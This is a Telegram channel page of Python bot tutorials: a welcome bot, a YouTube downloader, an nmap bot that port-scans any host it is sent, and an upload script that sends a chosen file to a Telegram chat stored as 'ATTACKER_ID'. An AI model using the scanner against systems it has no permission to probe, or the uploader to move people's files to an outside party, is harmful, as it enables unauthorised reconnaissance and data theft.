Python Telegram Bots
733 subscribers
1 photo
3 videos
1 file
37 links
All types of python telegram bot with explanation. By @EFXTV

This channel is intended solely for educational and awareness purposes. Any illegal activity is a...

Backup Channel https://t.me/+_w-03ZG1E_thMDhl

Donate: https://buymeacoffee.com/efxtv
Download Telegram
👉🏻 VISIT THE LINK TO JOIN VIP
JOIN VIP

List of bots we will use in #python_telegram_bot_source_codes #bots

⚫️ Bot Father
- How to use Bot Father

⚫️ User Info Bot
- How to use User Info Bot



Updating ...
👍5
How to use Bot Father ?

Create our first Telegram bot (WelcomeBot.py) using the BotFather Step by step:

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

⚡️ Install libraries
$ pip install pyTelegramBotAPI


⚡️ Telegram Bot Using BotFather
⚡️ Search for "BotFather"
⚡️ type /start.
⚡️ type /newbot to create a new bot.
⚡️ Follow the instructions to provide a name for your bot.
⚡️ This name should end with "bot" (e.g., "WelcomeBot").
⚡️ Choose a username for your bot.
⚡️ This username must end with "bot" and be unique. after finish
⚡️ BotFather will provide you with an API token.
⚡️ This token is essential for interacting with the Telegram Bot API. Keep it secure.



⚡️ Demo Welcome bot. Save it as WelcomeBot.py
JOIN VIP
import telebot

TOKEN = 'Token_here'

bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "Welcome to EFX Tv Support ! How can I assist you?")

@bot.message_handler(func=lambda message: True)
def echo_message(message):
bot.reply_to(message, message.text)

bot.polling()


⚡️ Execute the 'WelcomeBot.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

#python_telegram_bot_source_codes
#python_Telegram_Bot
👍101
How to download YouTube videos anytime using a Telegram bot.

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot Youtube_Downloader.py:

⚡️ First, install the necessary libraries:
$ pip install pyTelegramBotAPI pytube


⚡️ Create a file Youtube_Downloader.py

⚡️ Go to BotFather and create a new Telegram Bot

⚡️ Save the script as Youtube_Downloader.py
JOIN VIP

import telebot
from pytube import YouTube

# Change the 'TOKEN' (GENERATED BY BOT FATHER)
TOKEN = 'TOKEN'
bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
bot.reply_to(message, "Welcome to EFX TV YouTube Downloader Bot!\nSend me a YouTube link and I'll download the video for you. Cheers")

@bot.message_handler(func=lambda message: True)
def download_video(message):
try:
youtube_url = message.text
yt = YouTube(youtube_url)
stream = yt.streams.filter(progressive=True, file_extension='mp4').first()
video_file = stream.download()
with open(video_file, 'rb') as video:
bot.send_video(message.chat.id, video)
except Exception as e:
bot.reply_to(message, f"An error occurred: {str(e)}")

bot.polling()


⚡️ Execute the 'Youtube_Downloader.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

⚡️ Send a YouTube Link and Download the video.

#YouTubeDownloader
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍52🔥1
Create a telegram bot to scan IP/host/websites (enter the IP and get the fastest open port report)

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.

Create Telegram bot Scan.py:
JOIN VIP

⚡️ First, install the necessary libraries:
$ pip install python-telegram-bot==13.7

$ pip install python-nmap

⚡️ Create a file Filename.py

⚡️ Go to BotFather and create a new Telegram Bot

⚡️ Save the script as Filename.py Source

import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import nmap

bot = telegram.Bot(token='YOUR_TOKEN')
updater = Updater('YOUR_TOKEN', use_context=True)
dispatcher = updater.dispatcher

nm = nmap.PortScanner()

def start(update, context):
context.bot.send_message(chat_id=update.effective_chat.id, text="Welcome there ! Please pass the IP or Host.")

def scan(update, context):
try:
target = update.message.text

nm.scan(hosts=target, arguments='-T4 -F')

scan_result = ''
for host in nm.all_hosts():
scan_result += f"Host: {host}\n"
for proto in nm[host].all_protocols():
ports = nm[host][proto].keys()
for port in ports:
port_info = nm[host][proto][port]
scan_result += f"Port: {port} State: {port_info['state']} Service: {port_info['name']}"
if 'product' in port_info:
scan_result += f", Version: {port_info['product']}"
scan_result += "\n"

context.bot.send_message(chat_id=update.effective_chat.id, text=scan_result)
except Exception as e:
context.bot.send_message(chat_id=update.effective_chat.id, text=f"Error: {str(e)}")

start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)

message_handler = MessageHandler(Filters.text & ~Filters.command, scan)
dispatcher.add_handler(message_handler)

updater.start_polling()
updater.idle()

⚡️ Execute the 'Scan.py' script, and visit your Telegram bot, type '/start' to receive the welcome message.

⚡️ Pass the IP/host and get open ports, service and versions.

#nmap
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍2
Develop a Python bot which can share any file seamlessly, without the necessity for port forwarding or delving into technical intricacies

NOTE: This post serves as a demonstration for creating a Python application. I do not endorse spamming or violating the terms or services of any individuals.


JOIN VIP

import os
import sys
import telebot

# YOU CAN MODIFY
# BOT_TOKEN = 'MODIFY'
# GROUP_CHAT_ID = 'MODIFY'
# INSTALL PYTHON AND TELEBOT

BOT_TOKEN = 'MODIFY'

ATTACKER_ID = 'MODIFY'

bot = telebot.TeleBot(BOT_TOKEN)

def send_message(message):
    bot.send_message(ATTACKER_ID, message)

def upload_file(file_path):
    try:
        file_name = os.path.basename(file_path)

        with open(file_path, 'rb') as f:
            bot.send_document(ATTACKER_ID, f, caption=f'File "{file_name}" uploaded successfully!')

    except Exception as e:
        send_message(f'Error uploading file: {str(e)}')

if len(sys.argv) != 2:
    print("Usage: python upload.py <file_path>")
    sys.exit(1)

file_path = sys.argv[1]

upload_file(file_path)

#uploadfiles
#python_telegram_bot_source_codes
#python_Telegram_Bot
👍2